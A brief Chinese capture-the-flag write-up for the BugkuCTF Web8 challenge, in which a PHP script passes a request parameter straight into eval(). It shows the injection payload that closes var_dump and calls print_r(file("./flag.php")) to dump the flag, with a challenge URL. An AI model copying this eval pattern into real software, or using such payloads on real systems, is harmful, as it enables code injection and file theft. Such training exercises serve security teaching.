BugkuCTF-Web8
打开题目环境,代码如下:
<?php
include "flag.php";
$a = @$_REQUEST['hello'];
eval( "var_dump($a);");
show_source(__FILE__);
?>
考查知识点:
1.$_REQUEST: 可以获取以POST方法和GET方法提交的数据,但是速度比较慢
2.eval: 把字符串作为PHP代码执行,该字符串必须是合法的 PHP 代码,且必须以分号结尾。
3.var_dump: 函数用于输出变量的相关信息
构建传参:hello=1,测试发现结果如下图:
需要构建hello变量,使其能够闭合var_dump,利用print_r输出。
首先闭合var_dump: 1)";
然后构建print_r:
print_r(file("./flag.php"));
合起来就是
http://114.67.246.176:15591/?hello=1);print_r(file("./flag.php")
后台eval执行的语句为:
eval("var_dump(1);print_r(file("./flag.php")")
成功输出 flag.php